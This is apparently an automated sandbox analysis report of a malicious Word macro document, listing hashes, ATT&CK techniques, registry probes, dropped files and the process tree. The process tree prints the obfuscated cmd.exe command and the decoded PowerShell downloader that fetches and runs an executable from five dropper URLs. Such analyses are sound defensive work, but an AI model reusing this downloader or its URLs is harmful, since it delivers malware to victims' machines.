04ae3026fc9502f115794757e29bef4a6ad6cf3047fb7b444b0ddbed9504c631

General

Target

ffd7ed2ea278afe39daf3b7f6d4819d3_JaffaCakes118.doc
Size

126KB
MD5

ffd7ed2ea278afe39daf3b7f6d4819d3
SHA1

e7245488c6048d3a4bb0c7a49cacc1f2145330fb
SHA256

04ae3026fc9502f115794757e29bef4a6ad6cf3047fb7b444b0ddbed9504c631
SHA512

59ea97a02a17c1fe21b30dae6ebe206798943f9a8b245686420e33ac2da46f647000a67e2208eb2f63e4f7a32a7c0c76de65312dd7f9895fc74776e31468c726
SSDEEP

3072:A8GhDS0o9zTGOZD6EbzCd3WiWCAWcWvfxa:eoUOZDlbe3WiWCAWcWvfxa

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://levifca.com/y0tYhnWQ

exe.dropper

http://mfpvision.com/yAkPNiSmm6

exe.dropper

http://haganelectronics.rubickdesigns.com/C96xSAAy2q

exe.dropper

http://catairdrones.com/sMQ0n8nNun

exe.dropper

http://radio312.com/mp0NHN4cHX

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2732	1952	cmd.exe	81

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
31	1580	powershell.exe
39	1580	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
1580	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid	Process
1952	WINWORD.EXE
1952	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
1580	powershell.exe
1580	powershell.exe
3000	powershell.exe
3000	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid	Process
1952	WINWORD.EXE
1952	WINWORD.EXE
1952	WINWORD.EXE
1952	WINWORD.EXE
1952	WINWORD.EXE
1952	WINWORD.EXE
1952	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exe

description	pid	Process	procid_target
PID 1952 wrote to memory of 2732	1952	WINWORD.EXE	85
PID 1952 wrote to memory of 2732	1952	WINWORD.EXE	85
PID 2732 wrote to memory of 1580	2732	cmd.exe	88
PID 2732 wrote to memory of 1580	2732	cmd.exe	88
PID 1580 wrote to memory of 3000	1580	powershell.exe	89
PID 1580 wrote to memory of 3000	1580	powershell.exe	89

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ffd7ed2ea278afe39daf3b7f6d4819d3_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1952
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /V:O/C"set lj=;'afd'=dww$}}{hctac}};kaerb;'boU'=OFK$;vWd$ metI-ekovnI{ )00008 eg- htgnel.)vWd$ metI-teG(( fI;'fBW'=fSP$;)vWd$ ,abU$(eliFdaolnwoD.dam${yrt{)tdB$ ni abU$(hcaerof;'exe.'+Ihv$+'\'+pmet:vne$=vWd$;'BLv'=zqo$;'391' = Ihv$;'UDL'=DqS$;)'@'(tilpS.'XHc4NHN0pm/moc.213oidar//:ptth@nuNn8n0QMs/moc.senordriatac//:ptth@q2yAASx69C/moc.sngisedkcibur.scinortcelenagah//:ptth@6mmSiNPkAy/moc.noisivpfm//:ptth@QWnhYt0y/moc.acfivel//:ptth'=tdB$;tneilCbeW.teN tcejbo-wen=dam$;'kaF'=zYv$ llehsrewop&&for /L %9 in (475;-1;0)do set Yfw=!Yfw!!lj:~%9,1!&&if %9==0 powershell "!Yfw:*Yfw!=!" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "powershell $vYz='Fak';$mad=new-object Net.WebClient;$Bdt='http://levifca.com/y0tYhnWQ@http://mfpvision.com/yAkPNiSmm6@http://haganelectronics.rubickdesigns.com/C96xSAAy2q@http://catairdrones.com/sMQ0n8nNun@http://radio312.com/mp0NHN4cHX'.Split('@');$SqD='LDU';$vhI = '193';$oqz='vLB';$dWv=$env:temp+'\'+$vhI+'.exe';foreach($Uba in $Bdt){try{$mad.DownloadFile($Uba, $dWv);$PSf='WBf';If ((Get-Item $dWv).length -ge 80000) {Invoke-Item $dWv;$KFO='Uob';break;}}catch{}}$wwd='dfa';"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" =Fak
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e06ff9016d432638f31b496a84988338

SHA1
a76d2154ef98a6ca2b8c7ce6054fbda5c485eaa2

SHA256
863536bff635897c644585d79a4d623b97038d2a608c095a8e5f48912efd411c

SHA512
e2d297d0442c9e1249d653bdf66c50a38e6b02e17babf3c0cfc11b10b8f6b1396c10c9a0b04c05c9418524144383c2462aac3517cebfc95f3d924f3ed3e90d88

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDB63A.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0s3oit2r.03v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
memory/1580-51-0x0000025F54FF0000-0x0000025F55012000-memory.dmp

Filesize
136KB

Download
memory/1952-9-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-64-0x00007FFA0562D000-0x00007FFA0562E000-memory.dmp

Filesize
4KB

Download
memory/1952-10-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-3-0x00007FF9C5610000-0x00007FF9C5620000-memory.dmp

Filesize
64KB

Download
memory/1952-8-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-13-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-12-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-14-0x00007FF9C2F40000-0x00007FF9C2F50000-memory.dmp

Filesize
64KB

Download
memory/1952-11-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-15-0x00007FF9C2F40000-0x00007FF9C2F50000-memory.dmp

Filesize
64KB

Download
memory/1952-25-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-26-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-27-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-4-0x00007FF9C5610000-0x00007FF9C5620000-memory.dmp

Filesize
64KB

Download
memory/1952-5-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-6-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-52-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-7-0x00007FF9C5610000-0x00007FF9C5620000-memory.dmp

Filesize
64KB

Download
memory/1952-65-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-66-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-0-0x00007FF9C5610000-0x00007FF9C5620000-memory.dmp

Filesize
64KB

Download
memory/1952-1-0x00007FFA0562D000-0x00007FFA0562E000-memory.dmp

Filesize
4KB

Download
memory/1952-71-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-74-0x00000247B5150000-0x00000247B517C000-memory.dmp

Filesize
176KB

Download
memory/1952-75-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-76-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download
memory/1952-2-0x00007FF9C5610000-0x00007FF9C5620000-memory.dmp

Filesize
64KB

Download
memory/1952-582-0x00007FF9C5610000-0x00007FF9C5620000-memory.dmp

Filesize
64KB

Download
memory/1952-585-0x00007FF9C5610000-0x00007FF9C5620000-memory.dmp

Filesize
64KB

Download
memory/1952-584-0x00007FF9C5610000-0x00007FF9C5620000-memory.dmp

Filesize
64KB

Download
memory/1952-583-0x00007FF9C5610000-0x00007FF9C5620000-memory.dmp

Filesize
64KB

Download
memory/1952-586-0x00000247B5150000-0x00000247B517C000-memory.dmp

Filesize
176KB

Download
memory/1952-587-0x00007FFA05590000-0x00007FFA05785000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads